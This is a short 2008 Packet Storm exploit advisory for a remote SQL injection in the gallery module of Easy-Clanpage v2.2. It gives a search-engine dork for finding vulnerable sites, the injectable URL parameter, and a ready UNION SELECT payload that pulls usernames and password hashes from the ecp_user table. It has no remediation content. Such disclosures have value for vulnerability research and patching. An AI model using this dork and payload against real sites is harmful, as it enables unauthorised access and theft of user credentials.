easyclanpage-sql.txt

2008-03-19T00:00:00
ID PACKETSTORM:64712
Type packetstorm
Reporter n3w7u
Modified 2008-03-19T00:00:00

Description

                                        
                                            `.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.  
  
~ Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability ~  
  
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.  
  
[+] Author: n3w7u  
  
[+] Mail: n3w7u@gmx.net  
  
[+] Source: http://easy-clanpage.de/?section=downloads&show=viewdownload&id=14  
  
[+] Dork: "Easy-Clanpage v2.2"  
  
.-=--=--=--=--=--=--=--=--=--=--=-.  
  
[+] Vuln File: /modules/gallery/index.php  
  
[+] Exploit: http://[host]/[path]/?section=gallery&action=kate&id=  
  
[+] Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*  
  
`